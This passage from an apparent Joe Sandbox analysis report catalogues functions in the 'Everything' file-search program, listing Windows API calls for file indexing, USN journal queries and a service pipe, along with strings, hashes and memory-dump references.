Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82ac90bd5fa67493feab81e594db82532306f90c1664e59dfcc6fd349b39b258
Instruction ID: 00c74fb16b6e0358b310f753d7fc512e614896428ab1681bc508806ca44b6a83
Opcode Fuzzy Hash: 82ac90bd5fa67493feab81e594db82532306f90c1664e59dfcc6fd349b39b258
Instruction Fuzzy Hash: 4601F556D2A07B41FE3476D5D401AF461A2DF617A1F146832CC0DC67C1FE6DB881B605

Function 00007FF63D478790 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Heap$Process$ErrorFreeLast
String ID:
API String ID: 2874822613-0
Opcode ID: 7f2ce0b0f1c79dbc8a5ce8ebe772d7bb3f93b6c931752b1eab44319906290483
Instruction ID: 2c16da0637317ec3914ff4425b7245abd6f44b3b61d857ef5e09eba605e38bf4
Opcode Fuzzy Hash: 7f2ce0b0f1c79dbc8a5ce8ebe772d7bb3f93b6c931752b1eab44319906290483
Instruction Fuzzy Hash: 2D11C63290D78A5ADB075FA1A95016E37B0BB86B50B894432CB4CCB783EF2CE460D380

Function 00007FF63D5E57E0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975e6028a6fa850667a209d5b925211f63c8693f6342a381516389ea1caec6a0
Instruction ID: b88d3c75871380f5f92fb7a958cee563ba84dc816cfd739e9536bd576d654fe1
Opcode Fuzzy Hash: 975e6028a6fa850667a209d5b925211f63c8693f6342a381516389ea1caec6a0
Instruction Fuzzy Hash: F2E0D865D4D5A904D7074F71142067E7A717752B06FA47061ED8CC3391EE3E9511E244

Function 00007FF63D4BDDA0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04c726d9fb66bc2e908ea1702ab4d085f6cd6cdc5665ae135f74781fd0ec7076
Instruction ID: 9d59fb827e9e9c836a1fc540d3f03b8c64b354eb43eab324f5c2b5f564ab9199
Opcode Fuzzy Hash: 04c726d9fb66bc2e908ea1702ab4d085f6cd6cdc5665ae135f74781fd0ec7076
Instruction Fuzzy Hash: B5E08611B1958580FE548E52D1817BE9225DF2AFC4E1C6430DF9D4B7C7FE5CD4916B04

Function 00007FF63D5236D0 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 220COMMON

Download Yara Rule

APIs

OpenFileById.KERNEL32 ref: 00007FF63D555ABE
GetFileInformationByHandle.KERNEL32 ref: 00007FF63D555AD6
CloseHandle.KERNEL32 ref: 00007FF63D555B65

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

SetLastError.KERNEL32(?,?,?,?,?,00000000,00000000,00007FF63D4BD508), ref: 00007FF63D55B0BB

Strings

no method for opening by frn., xrefs: 00007FF63D555BBC
set last error %d, xrefs: 00007FF63D55B0AB
_service_client_ioctrl reply %d in %f seconds, xrefs: 00007FF63D55B03A
_service_client_ioctrl %u, s %u r %u, xrefs: 00007FF63D55AFF3
OpenFileById failed %d for FRN %016I64x%016I64x, xrefs: 00007FF63D555B9C
(, xrefs: 00007FF63D55A0D6
GetFileInformationByHandle fail %d for FRN %016I64x%016I64x, xrefs: 00007FF63D555B4C
(, xrefs: 00007FF63D55B099

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: FileHandlePerformanceQuery$CloseCounterErrorFrequencyInformationLastOpen
String ID: ($($GetFileInformationByHandle fail %d for FRN %016I64x%016I64x$OpenFileById failed %d for FRN %016I64x%016I64x$_service_client_ioctrl %u, s %u r %u$_service_client_ioctrl reply %d in %f seconds$no method for opening by frn.$set last error %d
API String ID: 1958418733-2814543882
Opcode ID: e097fd0587f5a3f1e4c3a2412f8b1b50bbb010010aa445bb5e044e0b9ec92e7b
Instruction ID: be80cffeddda3e75841db517bba25f52d5ac3735fbf024ca61a12bd5d3845395
Opcode Fuzzy Hash: e097fd0587f5a3f1e4c3a2412f8b1b50bbb010010aa445bb5e044e0b9ec92e7b
Instruction Fuzzy Hash: 85A1D672A0864A86EB10CF95E44437D73A1FB48BA8F144235DE6E87794EF3CE449E740

Function 00007FF63D54BE00 Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 133COMMON

Download Yara Rule

APIs

GetVolumeNameForVolumeMountPointW.KERNEL32 ref: 00007FF63D54BE59
QueryDosDeviceW.KERNEL32 ref: 00007FF63D54BE87
GetVolumeNameForVolumeMountPointW.KERNEL32 ref: 00007FF63D54BFEE

Strings

\, xrefs: 00007FF63D54BEB4
\, xrefs: 00007FF63D54BF1F
QueryDosDevice %S %S, xrefs: 00007FF63D54BEA1
:, xrefs: 00007FF63D54BF18
\, xrefs: 00007FF63D54BF0D
\, xrefs: 00007FF63D54BED8
:, xrefs: 00007FF63D54BEF2
?, xrefs: 00007FF63D54BEC0
?, xrefs: 00007FF63D54BECC
\, xrefs: 00007FF63D54BF79
\??\, xrefs: 00007FF63D54BE04

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Volume$MountNamePoint$DeviceQuery
String ID: :$:$?$?$QueryDosDevice %S %S$\$\$\$\$\$\??\
API String ID: 3441149253-3420442896
Opcode ID: 8afe324ceb0d01cb5412a8c4d476c0c7017c412823e954a3dca652a29e91716d
Instruction ID: e31071781512b00c9a6b8d35173a0e41ba2c181b81e414e98589e22dc02cd233
Opcode Fuzzy Hash: 8afe324ceb0d01cb5412a8c4d476c0c7017c412823e954a3dca652a29e91716d
Instruction Fuzzy Hash: ED510766E1824A91EB718B90E4403BA73B0FF94768F005135EE4E82B88FF7CE555DB06

Function 00007FF63D4BE8D0 Relevance: 24.2, APIs: 16, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D4B6950: SetEvent.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B697B
Part of subcall function 00007FF63D4B6950: SetEvent.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B6988
Part of subcall function 00007FF63D4B6950: CloseHandle.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B69A4
Part of subcall function 00007FF63D4B6950: CloseHandle.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B69B1
Part of subcall function 00007FF63D4B6950: CloseHandle.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B69FA
Part of subcall function 00007FF63D4B6950: CloseHandle.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B6A11
Part of subcall function 00007FF63D4B6950: CloseHandle.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B6A4A
Part of subcall function 00007FF63D4B6950: CloseHandle.KERNEL32(?,?,?,00007FF63D4BE8F2,?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4B6A61

EnterCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BE90A
LeaveCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BE92F
EnterCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BE975
LeaveCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BE997
EnterCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BE9BC
LeaveCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BE9DE
EnterCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEA25
LeaveCriticalSection.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEA47
UnregisterDeviceNotification.USER32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEA90
CloseHandle.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEA9F
CloseHandle.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEAAF

Part of subcall function 00007FF63D55A710: EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D4BE903,?,?,?,00007FF63D4960D4), ref: 00007FF63D55A730
Part of subcall function 00007FF63D55A710: LeaveCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D4BE903,?,?,?,00007FF63D4960D4), ref: 00007FF63D55A747

CloseHandle.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEABE
UnregisterDeviceNotification.USER32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEB04
CloseHandle.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEB13
CloseHandle.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEB23
CloseHandle.KERNEL32(?,?,?,00007FF63D4960D4,?,?,?,?,?,?,?,00007FF63D4829AD), ref: 00007FF63D4BEB32

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CloseHandle$CriticalSection$EnterLeave$DeviceEventNotificationUnregister
String ID:
API String ID: 393589949-0
Opcode ID: ad25cd386db7334baf5b4d7161608f330d2920ad55ac5174ef9ebc8c4154b0ae
Instruction ID: 27a254a30643a3e34a226e2b3306b3f0ef2779a68b8612fa9ac68494b2a6d98c
Opcode Fuzzy Hash: ad25cd386db7334baf5b4d7161608f330d2920ad55ac5174ef9ebc8c4154b0ae
Instruction Fuzzy Hash: 6F919221B09A4A91EA4CDFA195402BD6364FF95BA4F080131DFBE837D6EF3CE425A340

Function 00007FF63D555300 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 378COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

OpenFileById.KERNEL32 ref: 00007FF63D5554F9
GetFileInformationByHandle.KERNEL32 ref: 00007FF63D55551C
GetLastError.KERNEL32 ref: 00007FF63D5555E5
OpenFileById.KERNEL32 ref: 00007FF63D555658
GetFileInformationByHandle.KERNEL32 ref: 00007FF63D555673
GetLastError.KERNEL32 ref: 00007FF63D55573C
OpenFileById.KERNEL32 ref: 00007FF63D5557DA
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF63D555820
CloseHandle.KERNEL32 ref: 00007FF63D5559A3
GetLastError.KERNEL32 ref: 00007FF63D5559B3

Strings

%f seconds, xrefs: 00007FF63D555A40
readdir %016I64x%016I64x, xrefs: 00007FF63D555801
failed to open dir %016I64x%016I64x %d, xrefs: 00007FF63D5555F9, 00007FF63D555750, 00007FF63D5559C1

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: File$Handle$ErrorInformationLastOpen$HeapPerformanceQuery$AllocCloseCounterFrequencyProcess
String ID: %f seconds$failed to open dir %016I64x%016I64x %d$readdir %016I64x%016I64x
API String ID: 1409481465-1102279386
Opcode ID: 1a236ea40dfa70d0109d5b3d1a790a122836a2a0214446e7480da4772b165d16
Instruction ID: 48c7f182c616418c53df729461444b46ddb79325dfe09242cce46a1cf8ae7eed
Opcode Fuzzy Hash: 1a236ea40dfa70d0109d5b3d1a790a122836a2a0214446e7480da4772b165d16
Instruction Fuzzy Hash: E5124B32A09B8986D760CF55F48076AB3A5F789B94F504135EE9E83B68EF3CD454EB00

Function 00007FF63D55B5C0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 137filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D54B310: SHTestTokenMembership.SHELL32(?,?,?,?,00007FF63D5240A4), ref: 00007FF63D54B320

GetTickCount.KERNEL32 ref: 00007FF63D55B697
CreateFileW.KERNEL32 ref: 00007FF63D55B6C7
GetLastError.KERNEL32 ref: 00007FF63D55B6D6
GetTickCount.KERNEL32 ref: 00007FF63D55B6FF
Sleep.KERNEL32 ref: 00007FF63D55B717
CreateFileW.KERNEL32 ref: 00007FF63D55B745
InitializeCriticalSection.KERNEL32 ref: 00007FF63D55B778
InitializeCriticalSection.KERNEL32 ref: 00007FF63D55B785
InitializeCriticalSection.KERNEL32 ref: 00007FF63D55B792

Strings

\\.\PIPE\Everything Service, xrefs: 00007FF63D55B647
Open pipe failed %d, xrefs: 00007FF63D55B6DC
(%s), xrefs: 00007FF63D55B667

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalInitializeSection$CountCreateFileTick$ErrorLastMembershipSleepTestToken
String ID: (%s)$Open pipe failed %d$\\.\PIPE\Everything Service
API String ID: 185704642-1518160418
Opcode ID: cdf9d02c16a306a925d54a8d43ba594dd0a56a13593f9e3da843bcc2aad3ebf9
Instruction ID: cb00c2f934e990743d1346e9fdfc3be08f8d0131b331ff8ec77ac40e25178fba
Opcode Fuzzy Hash: cdf9d02c16a306a925d54a8d43ba594dd0a56a13593f9e3da843bcc2aad3ebf9
Instruction Fuzzy Hash: F151B421A08B8A81E751ABA1E5153EA7365FF857A4F400131DE5E83B95FF3CE424E740

Function 00007FF63D550270 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 109COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00007FF63D5502B3
GetLastError.KERNEL32 ref: 00007FF63D5502C1
DeviceIoControl.KERNEL32 ref: 00007FF63D550345
GetLastError.KERNEL32 ref: 00007FF63D550364
GetLastError.KERNEL32 ref: 00007FF63D550371
DeviceIoControl.KERNEL32 ref: 00007FF63D5503D8
SetLastError.KERNEL32 ref: 00007FF63D55042E

Part of subcall function 00007FF63D5500E0: DeviceIoControl.KERNEL32 ref: 00007FF63D550123
Part of subcall function 00007FF63D5500E0: GetLastError.KERNEL32 ref: 00007FF63D550131
Part of subcall function 00007FF63D5500E0: GetLastError.KERNEL32 ref: 00007FF63D550139
Part of subcall function 00007FF63D5500E0: DeviceIoControl.KERNEL32 ref: 00007FF63D5501A4
Part of subcall function 00007FF63D5500E0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF63D5502E9), ref: 00007FF63D5501C3
Part of subcall function 00007FF63D5500E0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF63D5502E9), ref: 00007FF63D5501D0
Part of subcall function 00007FF63D5500E0: Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF63D5502E9), ref: 00007FF63D550200
Part of subcall function 00007FF63D5500E0: DeviceIoControl.KERNEL32 ref: 00007FF63D550234

Strings

wait for USN Journal Deletion..., xrefs: 00007FF63D5502FB
8, xrefs: 00007FF63D5503CB
DeviceIoControl(%p,FSCTL_DELETE_USN_JOURNAL,%p,%d,NULL,0,%p,0): %d: Failed to wait for USN Journal deletion., xrefs: 00007FF63D55037C
waited for USN Journal Deletion (%f seconds), xrefs: 00007FF63D550354
DeviceIoControl(%p,FSCTL_QUERY_USN_JOURNAL,0,0,%p,%d,%p,0): %d: Failed to query USN Journal., xrefs: 00007FF63D55040B

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$ControlDevice$Sleep
String ID: 8$DeviceIoControl(%p,FSCTL_DELETE_USN_JOURNAL,%p,%d,NULL,0,%p,0): %d: Failed to wait for USN Journal deletion.$DeviceIoControl(%p,FSCTL_QUERY_USN_JOURNAL,0,0,%p,%d,%p,0): %d: Failed to query USN Journal.$wait for USN Journal Deletion...$waited for USN Journal Deletion (%f seconds)
API String ID: 65603291-1305636442
Opcode ID: 71d9008241849830f583c32fe633a53db0463729e0df946539ec87aea2e577ae
Instruction ID: fd6fc1bbb76ecbc1c25d9223bf3b4de87ffe705b9b4f03103c36aa3d337ddfce
Opcode Fuzzy Hash: 71d9008241849830f583c32fe633a53db0463729e0df946539ec87aea2e577ae
Instruction Fuzzy Hash: A541E332A08A5686E7208BA5F44466F76A5FB85398F504135EE4EC3B94FF3CD458E700

Function 00007FF63D5500E0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 91sleepCOMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00007FF63D550123
GetLastError.KERNEL32 ref: 00007FF63D550131
